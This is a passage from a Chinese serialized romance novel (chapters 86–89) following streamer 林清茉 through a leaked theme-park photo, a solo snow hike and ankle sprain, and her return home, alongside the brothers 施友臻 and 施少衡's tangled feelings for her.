打开电脑,剪辑视频前先登陆账号,发现后台的未读消息爆炸,清茉隐隐有不妙的感觉,点进去一看,原来今天有粉丝在乐园里偶遇清茉,认了出来,抓拍了好几张发到评论区,因为清茉平时都是直播露脸,粉丝觉得不算侵权,但是有一张,正好是抓拍了少衡蹲下给清茉系鞋带的那一幕,清茉正面露脸,蹲着地上的男人是背面,没有被拍到脸。 清茉松口气,算是万幸了。 可能是年纪小的粉丝,觉得很像王子公主的氛围,又是在有爱的主题乐园里,博上来的时候没想那么多,还留言写着:“博主男朋友超帅,什么Erik根本没法比!而且对博主好温柔好体贴!讲话的时候会低头贴近博主耳边,好有爱!看花车的时候就站在我们对面,我觉得比花车更好看!” 不能指望这世界上谁都有边界感和法律常识。看时间刚发上来半个小时,应该还没发酵,清茉赶紧后台私信,拜托对方删掉。小粉丝幸好在线,删掉后还连忙道歉,看语气好像确实是小孩,清茉也就不好再追究什么了。 为了不必要的麻烦,清茉干脆开了一会直播,用更新鲜的内容盖住原本的话题,果然直播里还是好多人追问是不是男朋友,清茉干脆解释说着: “是一起玩的很好的朋友,就是旅行刚开始那次直播我提到过的人,发现我吃助眠的药物,给我找心理师的那位。” “你们这么好奇的话,我剪视频看看能不能多给他剪辑进去几个背影,他不方便露脸。顺便科普一下哦,未经许可的人像照片不能随便发网上,可能会造成侵权。” “他赶回去上班了,工作很忙。大家不要乱猜了,就是很有默契的好朋友,不用装着绷着的那种,出来玩的搭子,当然得是可以用最自然状态相处的那种。” 清茉见差不多,就转移话题,开始聊这两天的乐园体验,把值得玩的项目都介绍一遍,时间差不多,她又累又困就准备退出直播,最后抽了一波奖品,把乐园里买的几个毛绒绒钥匙扣当成福利抽着送了。 清茉以为删掉评论区的照片就天下大吉,关电脑安心睡觉去了。结果没想到留学生圈子里也有人拍到了,但是对方抓拍的重点先是融恒的小施总,然后才是林清茉,家境好的留学生都是圈子叠圈子,相互传来传去,照片的脚注就成了小施总和女朋友结伴游玩,少不了扒清茉身份的人,用另外一种清茉没预料到的方式发酵起来了。 所以当少衡赶回公司的时候,他哥已经在融恒置业的办公室等他了。 少衡进办公室,看到他哥,也没主动打招呼,先去拿了瓶水拧开喝,解渴之后才问着:“哥,怎么来我办公室,特意来的吗?谈公事还是私事?正式谈还是非正式谈?” 第87章 第八十七章 少衡只在航班上浅浅睡了一…… 少衡只在航班上浅浅睡了一会, 下飞机就赶到公司,还穿着昨天陪清茉逛乐园时候的衣服,脱下外套里面是显得人很年轻的黑色帽衫, 帽衫胸前还醒目地别着一枚乐园徽章:一只呲着大门牙傻笑的小雪人。 长途行程和缺少休息,让少衡看起来情绪不怎么好,跟他面对面的施友臻也不像是来唠家常的善茬, 少衡有种想把胸前的雪人徽章弹到他哥脑门上的烦躁感。 施友臻不动声色地看着少衡,少衡觉得他这个阴沉沉不吭声的样子很烦, 超烦, 超级无敌烦, 就直接说着:“我陪茉茉玩了两天, 哥, 是想问这个吗?抱歉没有走内部请假手续,我写检讨。还想问什么?打听谁的情况吗?哥,你想用什么身份, 什么立场打听?” 施友臻起身, 站到窗前瞧着外面城市的车水马龙,听不出什么情绪地说着:“突然旷工跑过去的理由呢?” 少衡笑了笑, 说着:“哥, 我知道你想问什么, 你让我说明白理由,你也要讲明白追究的理由吧, 违反工作纪律旷工这种事, 我觉得不至于您专门跑到我办公室等半天。非要问我,问就是无可奉告。讲相声还得有个捧哏的,你指望我傻子似的来一大段内心独白吗?” 少衡以为他哥会有些情绪,甚至会讲些重话, 可是施友臻四两拨千斤,只是指了指办公桌上的文件,说着:“等你的时候,翻阅了融恒置业的近期重点项目档案,有问题的地方给你做了标记,重新整理出来,再跟我汇报一次,类似的问题不要再犯,整改措施也一起汇报。” 少衡觉得很无趣,一拳打在棉花上,再一次显得他像个傻子。对他哥这脾气无语至极,关于清茉的事情,明里暗里其实已经试探过很多次,他哥的可怕、可恶、可恨之处,就是你越想试探,越试探不出底线。所以很多人觉得融恒的老板施友臻是个可怕的人,城府深沉,喜好成谜,无法轻易取悦,很难凭着人情亲疏打交道。 少衡自己反倒是叹口气,心里觉得挺累,放弃想从他哥嘴巴里掏出真心话的企图,也可能他哥是真的没心吧。他哥的价值观念和行为模式一直固若金汤,自成体系,不允许任何人有攻城略地的冒犯。少衡受不了,觉得茉茉远走高飞的原因,也是受不了吧。 少衡自己终止了非正式的私事儿谈话,收敛了情绪,开始说正事儿:“哥,我翻看了去年收购的一个不良资产债务资料,郊区那个老旧游乐场,占地面积可观,我想重建成IP乐园,引进西方奇幻冒险或者魔法世界的国际化大IP,用国内没有的内容运营。” 施友臻没批评少衡的想法是不着边际的天方夜谭,考虑片刻后说着:“先做可行性分析,跟版权方接触试试。” 少衡原本挺紧张,获得施友臻的认可,不是容易的事情。在融恒,施友臻永远有一票否决的权力。少衡见他没有一上来就否定,心里着实松口气,应着:“嗯,要做的工作量很大,在国外乐园待了两天,有很多新鲜想法,我带团队一起出个报告。” 施友臻没再多说什么,起身离开,少衡送他出门,一直陪着走到楼下,上车前少衡瞧着他哥看不出风浪的表情,心里说不上什么滋味,犹豫着要不要提两句清茉的事情,比如茉茉已经不再吃助眠药物了,或者给他哥看一看茉茉送的毛绒绒小熊钥匙扣。 就算他哥不是一刺激就应激的单细胞草履虫,刺激一下也应该心里有所波动吧,少衡走神一瞬,想着要是真的都像草履虫那么简单,这个世界应该充满了爱吧,人到底什么时候才有做到有话直说。 少衡开口之前,施友臻却突然先发问,他问:“改建主题乐园,是她的想法?” 少衡一愣,施友臻也没等少衡给出回答,好像答复不答复也不重要的样子,已经上车关上了车门,司机启动车子驶离。 少衡被晾在一旁,气笑了,追了一条信息发给他哥: “不是。” 车窗外城市熟悉的景色飞掠而过,施友臻看着窗外,随行的总裁办孔主任汇报着接下来的行程,因为在融恒置业等了半天小施总,好多事务要错后重新安排,施友臻沉默听着,孔主任已经汇报完,没有听到反馈,追问了一句:“施总,您看这么安排行吗?”施友臻懒得讲话的时候,是更加难以相处的模样,孔主任就没再敢上赶着追问第二遍。 施友臻厌恶一切诱惑人成瘾的东西,一直以来对抵不住诱惑的堕落极其鄙夷。但是现在的心情很糟糕,他无法回避目前这种成瘾的现实,对于林清茉,从屏蔽掉一切消息的极端戒断,走向了颠倒黑白放弃正常作息的极端关注。他对林清茉账号的关注度,已经是重度成瘾的程度了。 而单方面的密切凝视,于现实毫无益处,反而更加锁死了他局外人的身份。小时候,他是被少衡和清茉嬉笑玩耍排除在外的局外人,现在,仍旧是。幼年时二层房间的那个窗户,是梦魇中的牢笼,只能远远望着庭院中的热闹,除了兄长这个身份,就没有别的立场了。 少衡讲的,没有错。 林清茉的账号今天很安静,在评论区粉丝晒出照片的小风波之后,她就一直没有更新,施友臻的手机一直没有跳出来提示消息,等回到公司忙完堆积的事务,返回住处的途中,听到了特设的提示音。 施友臻虽然自我厌恶这种成瘾的行为,可也没有立刻再次戒断的决心,还是像往常一样点开,林清茉更新了一条图文内容,照片是新的一身OOTD分享,换了另外一个更可爱的兔子耳朵毛绒发箍,镜头感很好,精致妆造和刻意的POSE,明媚到妖冶。 配文写着:“今天休息,不赶行程,在园区随便逛逛,补补视频镜头。” 比林清茉更新视频更快来到的,是施妈妈的突然造访,大概是怕约不到施友臻,施妈妈带着熬好的滋补汤,直接在工作时间来了施友臻集团办公室。施友臻提前讲过不要进去打扰,小孔主任上任后第一次接待施夫人,诚惶诚恐,施妈妈很平易近人地让其他人去忙,她径直进去了。 施友臻从文件中抬起头,起身迎着,问道:“您怎么过来了。” 施妈妈把温补的汤水放好,说着:“妈妈当然是无事不登三宝殿。”从包里拿出一个信封,递给施友臻,脸上的表情不轻松,说着:“少衡到底怎么回事,我从他那里问不出来什么,就着急再来问问你。” 施友臻打开信封,里面是一沓打印出来的照片,拍摄的全是少衡跟林清茉在主题乐园中的亲昵合照,施妈妈解释着:“上次网络发酵的事情,我也知道,因为之后没有实质性的进展,就没过问。但是这次,我看照片,俩人是不是真的有什么情况。” 施友臻坐回自己的办公椅,一张,一张,一张,仔细从头到尾在沉默中全部看完。确实足够亲密,公道来讲,像热恋中的情侣,牵手的,靠在肩膀上的,蹲下系鞋带的,喂清茉吃薯条的。明显是有人带着窥探的心思,刻意跟拍了一路。 办公室里安静得可怕,施妈妈可能都觉得气氛瘆得慌,端起热茶抿了几口,给少衡找补了两句,说着:“也可能就是一起出去玩。” 施友臻问:“哪里的照片?” 施妈妈迟疑了下,解释道:“我朋友发给我的,她家孩子在留学,从朋友群里看到的。妈妈并不反对自由恋爱,他俩从小关系就好,少衡对她感情不一样我能理解,只是中间这么多年不见,恐怕不是以前知根知底的关系了。” “上次妈妈就打听过,林家后来散了,听说两边都没要清茉,小孩也怪可怜,家底没了也就没了,没想到父母也是只能共富贵,不能同患难,说散就散了。中间隔着这么多年没见,人品性格也都不了解了,她对咱们家肯定非常了解,万一有所图怎么办。” “少衡跟你不一样,他还是单纯了些,妈妈其实已经在打听合适的女孩,少衡最好找个能对他事业有帮助的结婚对象,他玩心重,要管一管的。这些话妈妈也只能跟你商量,你说要不要托人调查一下,万一有所图,后面也麻烦。” “尤其是,年轻人没个轻重,万一真闹到怀孕那一步,更难办。清茉这孩子也算是我们家看着长大,情谊该有还是有些,提供其他的帮助也不是不可以,但是要跟少衡确定恋爱关系,妈妈心里总觉得很别扭,你看看照片上,我养的儿子,就是给别人系鞋带的吗?” 施友臻仍旧沉默,把手中的照片又重新翻看一遍,施妈妈见他不表态,试探着问:“少衡跟你聊过吗?俩人谈了?” 施友臻放下照片,打了法务部门的内线电话,在施妈妈的不解中,法务部门的负责人很快敲门进入,施友臻敲了敲那一沓照片,说着:“调查一下偷拍跟传播的人,我要追究责任。”也对施妈妈讲道:“您配合一下法务。” 施妈妈一愣,表情有些讶异,不解问着:“这是重点吗?再说,万一牵扯到朋友家的小孩,不方便的。” 施友臻抬眼看施妈妈,施妈妈噤声,心情也不好,站起来不满说着:“你真是越来越没法沟通。” 撕破体面,唯利是图,恶意中伤,凭空捏造。 刺耳。 怎么可以刺耳成这样。 太刺耳了。 深夜,施友臻坐在客厅打开投影,放映的是林清茉决定旅行的第一个视频,她盘腿坐在镜头前,讲着为什么要开启这趟旅行,因为状态不佳,她的思路显得混乱,其中很突兀地冒出来一句话: “我一个人生活了很久。” 胸口沉压压的感觉再度袭来。世上这么多不怀好意的窥探,这么多伪善的偏见,她在自己独自生活的很长岁月中,独秀于林地清清朗朗长大,用功念书,用心工作,穷则思变,凭着自己的本事去看世界。 林清茉有金子一样的勇气,她可以斩钉截铁地拒绝,也可以果断决绝地去选择自己的人生。 每个人都出于自己的立场去揣度,去索取,去苛责,他也是偏见中的一员,也是索取中的一员,也是居高临下的既得利益者中对她苛责的一员。 他跟旁人,没什么两样。 第88章 第八十八章 因为施友臻的强势介入,连…… 因为施友臻的强势介入, 连施妈妈都被法务部门的笑面虎负责人拖着聊了很长时间,施妈妈气得一通电话把少衡也一起骂了一顿,让他们哥俩有多远滚多远。少衡吃着自己的瓜, 看他哥追责追到各位少爷小姐身上闹得人仰马翻,这瓜也是吃得津津有味了。 施总明确要求的处置原则是目前先不要打扰当事人,当事人之一施少衡可以忽略不计, 另一位当事人因为没有被刻意高知,自然也无从知晓。不过按照林清茉现在的性格, 估计知道了也不会太放在心上, 八成会仔细瞧着那些偷拍的照片, 评价抓拍技术如何, 上镜效果如何, 妆造上镜如何。 乐园的行程结束后,清茉在账号上公布了下一站,要去穿越两国边境的冬季徒步路线, 挑了一段往返二十公里的路程, 难度系数不大,安全友好, 一天就能走完, 在那边城市预计逗留三天。 清茉抵达旅店后先整理装备, 把徒步要穿的全套按照惯例整理出穿搭,拍照发了图文博, 把冲锋衣、速干衣、防水徒步鞋的详细规格都附上去, 冲锋衣这次是巧克力拼米白色,清茉很喜欢,上身精神干练,穿上自拍了几张, 顺便也推荐了登山杖,怕大家盲目冬天徒步,还在评论区科普了很多户外安全常识。 连续换水土,清茉晚上在旅店待着没什么胃口,就泡了杯面,分享给粉丝,好笑的是那个乱码ID不知道为什么又被顶上了前排,可能是因为评论内容欠欠的,写着:“资金紧张吗?” 清茉打字回复解释:“这位朋友不懂在疲惫旅行中连汤带水吃一桶热乎泡面的幸福感吧。我开个新楼,大家去留言推荐自己最喜欢的泡面搭子。” 施友臻浏览着很快热闹起来的评论区,对于“番茄鸡蛋”“老坛酸菜”“红烧牛肉”诸多方便面口味以及“花生瓜子火腿肠”的生活场景仔细研究了一番,想起来清茉房子里有个厨房小柜,里面好像一直放着几包方便面。 施友臻在晨跑途中,顺便走进了24小时便利店,店里的货架上并没有林清茉吃的同款,他就随便拿了一个红烧牛肉味的桶面。回家用开水泡上,等待时间结束后,施友臻尝了一口就没再动,对于林清茉用泡面应付晚餐的行为仍旧很不赞同,并陷入了轻微的焦虑。 这是最近一段时间新出现的情绪问题,施友臻很冷静地分析过,伴随着对林清茉线上账号内容的过度关注,同时又因为无能为力的距离感,他渴望参与,又必须隐没着泯消存在痕迹,他原本强势和掌控的性格在林清茉这里极端受挫,失控感造成的焦虑很正常。 比如看她吃泡面,施友臻已经计算完一碗泡面的营养价值和能量价值,严重质疑能不能匹配即将要在高山雪地徒步二十公里的运动项目,一顿营养均衡的合格饭菜应该包含优质碳水、蛋白、蔬菜、健康脂肪,林清茉这种应付行为根本不达标。 要是在眼前,肯定会摁住她监督着重新用餐。 要是在眼前。 假设不成立,施友臻也没有办法,跟前些日子已经打开飞往北欧的机票预订页面时候一样,人心难强求,他但凡迈出去一步,大概率是再次被钉在“不受欢迎”的那个位置上。林清茉是体面的成年人,保持着做人留一线的客气距离,就算见面的时候可以态度自然地聊天,甚至亲昵地相处,可剥离童年积累的信任和习惯,仍旧空洞得让人失望,最后告别的时候她估计还是会客客气气说一句:“谢谢关心。”、“算了吧。”或者“别再过来了。” 施友臻不确定这种矛盾的情况会持续多久,他目前无法给予决断,都说时间可以磨平一切,再过半年?一年?两年?这段往事大概率会变成精神层面的世外桃源,隐秘地归于内心深处,保存着这一生都不会重复出现的情感体验。 就像林清茉无忧无虑的童年时间,是她的桃源一样,可忆不可追。 在施友臻唯结果论的规则世界中,给予了一次特例,他决定交给时间。 林清茉冬季雪山的户外徒步计划,总是让施友臻心神不宁,林清茉这次并没有在网上讲是否有专业向导同行,再加上被他定义为营养缺失的“杯面”,施友臻焦虑的情绪无法消减,他担心这么将就,会不会是因为资金紧张,就在清晨给少衡打电话了解情况。 小施总最近干劲儿满满,每日奔波谈业务、整材料,昨天晚上应酬完又回公司加班到凌晨两点,这会儿正睡得天昏地暗,被他哥电话吵醒,一肚子起床气也不敢发作,耐着性子问着:“哥,这才几点,怎么了,有事儿找我?” 施友臻没有废话,直愣愣问了句:“林清茉缺钱吗?” 少衡沉默片刻,断掉了电话。 施友臻自己焦虑也不让少衡好过,连着追进来电话,少衡困到暴躁,什么也顾不上了,又变成了被哥哥气疯了的小男孩,接起来电话吼道:“缺不缺关你什么事儿!我能给你能给吗!问我干嘛!你自己去问!你去给啊!你抱着一箱子钱砸人脸上去啊!你看看她会不会开心哭!我给你俩一起找心理医生怎么样?” 吼完就挂断电话,但是睡意被搅和得全无,越想越气,不知道他哥突然发什么神经,闷气半晌,怕他哥把神经质带到今天的会议上卡他项目,人在屋檐下不得不低头,还是心软给他哥追了一条信息发过去:“我给茉茉留了现金。” 骚扰完少衡,施友臻的焦虑情绪稍缓,亲弟弟也不是毫无用处,至少偶尔可以拿来缓解情绪,至于懂事到给林清茉留些现金,施友臻简直要对他“刮目相看”了。“刮目相看”之余是,“他凭什么给?”,以及“他给就收?” 清茉出发前清点物资,保温杯里装好热水,最后装了一小袋食品,把机场买的巧克力也带上了,一块块方形巧克力的包装纸图案是获奖艺术家的平面设计作品,画了色彩很鲜亮的标志性景观,清茉很喜欢,顺便拍照发网上,写着:“准备出发。” 巴士载着乘客抵达半山腰,徒步行程的起点在安静的湖边,大概是刚下过大雪的原因,一路上行人稀少,越往山上走,雪越厚,幸好穿着高帮的徒步鞋,雪地踩进去很容易就没到脚踝。山上的露营地今天也没有游客,过了露营地不远就是两国的国境界碑,清茉停下休息,拍照打卡。 清茉评估这条徒步路线的时候,觉得难度不大,也是很成熟的友好型路线,就没找向导,全程走下来不到二十公里,一天的时间绰绰有余。在山顶吃掉几块巧克力补充能量,不急不忙地往下山的方向走,重新出发的时候遇到几队徒步的人,山上慢慢有了人气。 雪景间不时能看到溪流,阳光映照雪地和流水,听觉上是很让人放松的白噪音,清茉很享受这种户外运动时独享自然的感觉,呼吸通透,灵魂清爽。身心放松地安全结束全部行程,清茉在徒步点结束的标识处打卡,等大巴车的时候挑了几张漂亮的风景,发到账号上,写着:“顺利完成,路线轻松友好,雪景超美。” 施友臻看到林清茉已经完成徒步的博文照片,松口气,没来由的不安和焦躁感褪去,对林清茉独自徒步的行为颇有微词,在她评论区留言:“最好不要一个人,请向导更安全。” 他的心情放松后,由他坐镇的会议上气氛都松了松,正在参会的少衡看他哥又在低头看另外一部手机,不屑地默默白了一眼。 徒步线路的终点陆续集合了三五个游客,性格外向的几个女孩相互打招呼,清茉也加入了聊天,跟大家分享了漂亮巧克力,收获一众好评。聊天间大巴车驶来,一个女孩跟清茉交换社交媒体账号,清茉找出手机页面给她看,因为注意力没在脚下,她没看到马路牙的台阶,一脚踩空崴倒,重重摔在了地上。 清茉觉得自己听到了“咔吧”清脆的响声,觉得不妙,身旁的人惊呼将她扶起来,试着活动活动,好像还行,就先上了车。结果在车上就肿起来一个大包,明显是崴到了,清茉相当无语,二十公里雪路都平平稳稳走了下来,结果在终点碰上这事,只希望不要有撕裂,应该没事。 直接去了附近公立医院诊所,拍片看骨头没事,应该是韧带伤,医院给脚踝上了防止二次崴脚的支架护具,另外开了一些处方药,告知了注意事项。清茉语言上还是有些困难,听懂了一半,没听懂另一半,累得脑袋浆糊,浑身发虚,折腾完打车回酒店,已经累趴下了。 好歹是接了户外大品牌的推广,穿着人家的鞋子崴脚,绝对是负面舆情,这肯定不能在网上讲,也不能让人知道。她一个人猫在酒店里,搜索着医生给开的药,确认使用说明,该吃吃该抹抹,祈祷快点消肿。 好在这些年的独自生活,养成了一些“钝感”,她自己没觉得是多大的事儿,该干嘛干嘛。 万幸没有严重的撕裂伤,医生给开的药冰冰凉凉一股子酒精味,止痛化瘀见效很快,她消停在酒店抬高腿歇了一天,该冷敷冷敷,该加压加压,第三天的时候大肿包已经消了下去,能看出来还微微肿着一层,撑着登山杖走路问题不大了。 因为突发的情况,整个旅行规划都要重新调整,这两天在酒店里把登山徒步的视频剪辑出来发网上,粉丝好多在问下一站要去哪里,清茉也脑袋大,觉得最正确的选择应该是结束旅行,回去好好修养,养不好以后万一习惯性崴脚就麻烦了。 现在已经不适合负重背包了,理智还是占据了上风,清茉委托酒店的工作人员把她的行李快递回学校,自己轻装上阵,只带着随身包,装着证件和钱奔向了机场。 到机场的时候,她才意识到机票还没买,潜意识里怎么记得买了呢?这两天脚踝受伤,闷在房间里睡睡醒醒,整个人有点恍惚,没出门就不觉得饿,饭也没好好吃。到机场她环视着四周,感到了饿,又觉得机场里没什么可以吃的,特别想吃一顿热乎乎的牛肉拉面,要地地道道一清二白三红四绿五黄的那种,肉汤透亮,萝卜解腻,飘着香喷喷的辣椒油和新鲜翠绿的香菜,再单独加一份片成薄片的牛肉。 机票还没有买。 很饿。 钱包里有少衡的一沓现金。 人潮匆匆的机场中,林清茉盯着不停翻滚的航班信息,字母代表的城市一页一页翻过,只有汉语拼音呈现的城市名字她可以用最准确的读音念出来,其他的像陌生乱码。 翻开日历看了看六六结婚的日子,六六前两天又打过来电话,问清茉能不能回来,清茉还是不确定,六六没给她压力,只是说反正她伴娘服管够,已经提前给清茉预留了一件。 少衡装现金的信封上是融恒烫金的钢印,清茉小声嘀咕着:“真够浮夸的。”抽出现金数了数。 要不,就当是少衡给六六包的红包,这货没少打扰六六,自己帮他把金钱转化成婚礼上的情绪价值。 心里还是迟疑,她摸了摸信封上“融恒”的字样,突然觉得荒诞好笑,人生就是自己给自己下循环套的坐地牢笼。 她忍不住轻笑嗤笑,想着何必这么在意,她人格独立,堂堂正正,来去自由,想做什么就做什么,没什么值得她瞻前顾后,更没人值得她畏首畏尾。 清茉买了回国的头等舱。 第89章 第八十九章 飞机落地后清茉直奔西北办…… 飞机落地后清茉直奔西北办事处的餐厅, 刚过用餐高峰,正好有位置,她点了一大碗毛细牛肉拉面, 单加一份牛肉,再来一碗灰豆子当甜点,酣畅淋漓吃完, 连汤水都全部喝光,肚子里暖烘烘太舒服了, 清茉坐那儿发了一会呆, 看着窗外熟悉的城市楼宇, 听着耳边熟悉的母语, 很长时间以来被刻意掩饰的乡愁还是冒了出来, 回来的感觉真好,踏踏实实的。 十二个小时之前,她还在万里之外, 此刻行李没有, 酒店没找,脚踝还带着护具, 走路一瘸一拐, 这状态也是够疯的。 她没着急去约六六, 脚踝要先养两天,干脆先去医院再看看。上次听懂一半没听懂另一半的看诊心里挺不踏实。搜了附近医院, 网上也有号能约, 清茉吃好饭就直接过去了,医生给仔细检查一番,就诊的人不多,清茉把海外就诊的经历讲了一通, 讲母语的感觉实在痛快,医生也跟着乐,说处置得算很及时了,没有大问题,这些日子注意休息。 搜住处的时候看到一直想住的温泉酒店,之前在国内,工作日都得上班,周末温泉酒店的价格能直接翻三倍,太贵了就没去。这几天刚好是工作日,价格很便宜,清茉就预订了三天,从医院出来直接打车过去了。 郊区的温泉酒店拥有一个很宽敞的院落,停车场旁边有一片大草坪,好笑的是清茉一下车,又有一只黑白边牧不知道从哪儿窜出来,摇着尾巴把清茉堵住,清茉笑着打招呼:“嗨朋友,你把我当羊了吗?想牧我吗?” 狗狗的主人一身运动跑步的装备跟在后面跑过来,是个笑得很明朗的年轻男士,看到清茉还带着护踝支具,忙道歉到:“不好意思,冬瓜回来!” 温泉宠物友好,清茉没跟人打招呼,先跟狗打招呼:“原来是冬瓜,你好哇。” 冬瓜尾巴摇的更欢,男人问着:“看来很喜欢您,是要办入住吗?脚踝扭伤了吧,我帮你拿行李。” 清茉俯身摸冬瓜,乐道:“我前段时间旅行也在一家酒店碰到了边牧,叫汤姆,是酒店职员,专门引导客人办入住,跟冬瓜长得好像,太可爱了” 冬瓜的主人乐呵道:“对,欢迎跟冬瓜玩,这货听懂了是吧,这么喜欢漂亮小姐姐?行了行了别蹦哒了,仪态!仪态!喜欢就握握手!”冬瓜立马抬爪子递给清茉。 冬瓜的主人想帮清茉拿行李,清茉说着:“就这一个包,没带行李箱,冬瓜握握手,乖,好可爱。” 冬瓜黏着清茉,狗主人也牵着绳子跟着,大堂服务生跟冬瓜混得也超熟,原本冷清的工作日因为一只可爱狗狗热闹起来,冬瓜主人在一旁瞧着,点评:“这货真是把魔鬼的一面留给我,把天使的一面留给漂亮姐姐,太狗了。” 拿到钥匙,服务生带着清茉去房间,冬瓜亦步亦趋,狗主人拦住说着:“再跟就不礼貌了冬瓜!” 冬瓜脑袋一转,直接从牵引绳里脱出来,摇着尾巴跟着清茉,一直跟到清茉私汤小院的门口,冬瓜主人抱住它脖子,说着:“不好意思,冬瓜住在北边院子,有空可以一起玩。” 清茉点头:“好啊,我也住好几天,有空去找冬瓜。” 冬瓜主人犹豫了一下,说着:“崴脚了吗?可以泡温泉吗?” 清茉:“应该可以吧,反正是需要热敷的阶段了,应该行的吧?” 冬瓜主人好心提醒着:“没有明显伤口的话,不过时间不要太久。” 清茉:“嗯,谢谢您。冬瓜小朋友先拜拜了,我收拾一下再找你玩,谢谢你接我进来。” 冬瓜狂摇尾巴,冬瓜主人汗颜,跟清茉拜拜手,重新牵上跑步去了。 清茉进屋,放松地一骨碌趴床上,点开软件开始买衣服,内搭的外搭的美美买了一圈,没一个小时就送了过来,去酒店洗衣房洗烘的时候,远远瞧着冬瓜在大草地上跟主人玩球,清茉有点动摇,想着是不是也该养只宠物陪伴。 一边忙着换洗衣服,一边用投影看电影,装备都收拾妥当到位后,清茉就放水准备泡汤了。私汤房间室内室外都有池子,清茉今儿先用了室内的,泡了十几分钟放松身心,爬出来换上干爽新睡衣,拉上厚厚的遮光帘,挂上勿扰的牌子,手机静音,不管白天黑色,直接躺下睡了。 旅行的疲劳让她一气儿连着晚上睡了十几个小时,睡眼惺忪爬起来,不知道今夕何夕,适应了一下四周的环境才慢腾腾起床。已经过了酒店早餐供应的时间,清茉拉开窗帘坐在藤椅上发呆,穿上衣服去觅食。 小院对面的绿色大草地上,冬瓜还在撒欢,看到清茉出现,冬瓜奔跑过来,冬瓜主人也一路小跑着过来,打招呼说着:“是不是刚醒?早餐没见着你呢。” 清茉揉了揉眼睛,估计睡得有点肿,哑哑懒懒地说着:“睡太沉了。” 冬瓜主人抬起手腕看了看时间:“都快到中午饭点了,草地对面有一家窑烤披萨,要不要试试?” 来的时候就瞧见了,网上好多人推荐那家窑烤披萨,只是清茉在国外吃太多披萨,也不想跟陌生人一起吃。 清茉摇头:“不了,谢谢,我要去中餐厅吃中餐,谢谢。”清茉瞥了眼对方露出来的手表,某人赖着不走的时候,玄关上搁着的几块表里,就有这个型号。果然没有人无缘无故工作日不上班,戴得起这种表的人,不会挣日薪。 但是冬瓜是可爱的,清茉逗着冬瓜,跟他有一搭没一搭的聊天,本来睡醒精神头一般,走神之后更蔫吧,答非所问了几句,冬瓜主人都乐了,问着:“你可别在外面睡着了,今儿要降温,可能要下雪。” 清茉点头,说着:“谢谢冬瓜爸爸,那我再回去睡会。” 酒店中餐厅味道很不错,坐落在中式四合院里,靠窗的位置能看到小院子里的园林景致,清茉点了清淡的白粥,配了几样小菜,正吃着饭,外面还真是瓢了雪花,清茉原本订酒店就是随缘,没刻意查天气,竟然赶上了飘雪花,还真是泡温泉的好日子。 小时候一到下雪天,少衡就吵着要去泡温泉,没少约清茉,有时候会去那种室内的温泉城堡,有时候会去施爷爷北边老宅子旁边的温泉小镇,在里面打打闹闹疯玩一整天,大哥偶尔会出现,疯玩的时候,根本没有注意力去寻思大哥来没来,来了反正也不在一起玩。不知道是不是近乡情怯,清茉自己待着,心里乱糟糟,脑子里很多以前的事儿,心情也低落,犹豫着什么时候跟六六联系,也犹豫着要不要跟少衡打个招呼。 人是没有办法一直保持高能量的,情绪也没有办法一直昂扬愉悦,有起有落都是常态,从旅行跋涉的新鲜劲儿里脱离出来,倒时差觉得累,脚踝也疼得明显了似的, 下午的时候,雪已经下大了,赶着雪景入住的客人一下子多起来,飘雪中清茉开了室外的池子,舒服躺进去的时候,听着围墙外冬瓜很兴奋地在叫,再一次想要不要养一只宠物,猫猫也好,狗狗也好,至少平日里有能聊天的对象,等回去的时候就研究一下。 这个城市的冬天仍旧干燥,好不容易盼来了一场大雪,融恒置业大厦高层办公室中,少衡站在窗前看着飘雪,接到了朋友约泡私汤的信息,他没犹豫就答应了,最近几天工作压得他浑身酸疼,乐园项目比想象中的更加艰难,几乎是举步维艰的程度,需要谈判的事项夸张到可怕,几乎没有能够简单谈下来的。 少衡看到飘雪的时候就已经动了念头,朋友一约,下了班立马出发,郊区最好的温泉就这一家,往年也会去,这个私汤距离正好,住一晚不耽误明天上班。 小时候养成的习惯,下了雪就要泡一泡,最好是在下着雪的那刻。茉茉在身边的时候就是这样,茉茉不在也习惯这样了。朋友牵着那只过度热情的狗提前在停车场等他,少衡一下车冬瓜就扒拉上去,少衡的朋友闫峰是大学同学,乐呵道:“现在约你出来可真难,冬瓜!咬他!” 少衡牵上冬瓜,走出办公室跟朋友在一块儿放松些,说着:“累死老子了,今儿松松筋骨。” 闫峰一边陪少衡往里走一边聊着:“幸好上午提前给你订了房间,这会都满了。你来了正好帮我参谋个事儿。” 少衡:“别问我投资的事儿啊,我可不担责。” 闫峰:“那当然不会,我本事你比强。” 少衡:“至于吗?” 闫峰:“那肯定得问你擅长的事儿。昨儿酒店住进来一姑娘,完完全全是我的审美,很漂亮,有点迷糊,冬瓜超喜欢她,从见面开始就围着转,尾巴摇成螺旋桨了。她讲话温温柔柔很有礼貌,也不会过度热情,又美又有距离感,完完全全是我喜欢的样子,哥们知道心动的感觉吗?怦然心动就是我,心跳砰砰砰的,这感觉真是头一遭。但是据我观察她一直猫在房间里,我不好意思去打扰,怎么办,给出点招呗?” 少衡:“佛子动春心了?怎么办?用冬瓜吊一吊嘛。” 少衡晚上没吃饭,闫峰陪他到中餐厅,坐到窗边的位置,瞧着外面的雪景,聊着天等上菜,闫峰频繁地往小庭院里看,说着:“不知道她会不会来吃晚餐,中午她坐在前面那桌自己吃,吃饭也好可爱,猫儿似的,就点了白粥跟青菜,一边吃一边发呆,我都没好意思打扰。” 少衡打趣道:“装货,你也有不好意思的时候。” 正说着,闫峰突然站起来,盯着窗外问着:“我要不要去扶一下?” 少衡无所谓说着:“去呗,这不正好是机会嘛。” 外面的雪还在下,清茉在庭院小路上走得格外小心,天色已经暗沉,庭院里的灯光为了配适造景调得不怎么明亮,清茉想在下雪天吃粥底火锅,出来透透气顺便来餐厅。 闫峰很快出去扶人,撑着清茉手肘,打招呼说着:“是不是来吃粥底火锅?我跟朋友也订了一桌。” 清茉感谢,撑着人确实好走一点,聊着:“前台小姐姐强烈推荐,网上评分很高,下雪吃应该很舒服,应景。” 闫峰试探着邀请:“要不要跟我们一起?” 清茉婉拒:“不打扰你们朋友小聚,你们男生应该会小酌一杯吧。” 少衡好奇地抬眼望出去,庭院雪景雅致,闫峰扶着女孩慢悠悠一边聊天一边走,女孩脚踝应该是有伤,一瘸一拐借力搭着闫峰,院子里灯光暗,原本看不清人,直到餐厅附近,走近窗外的时候,灯光变亮,少衡看清了外面的人。 他突然猛站起来,力气很大蹬倒了座椅,大步冲到外面,把闫峰一把推开,力气太大,闫峰直接被推得滑倒旁边草地雪里。 清茉吓一跳,抬头就看到了施少衡的脸,也呆了。 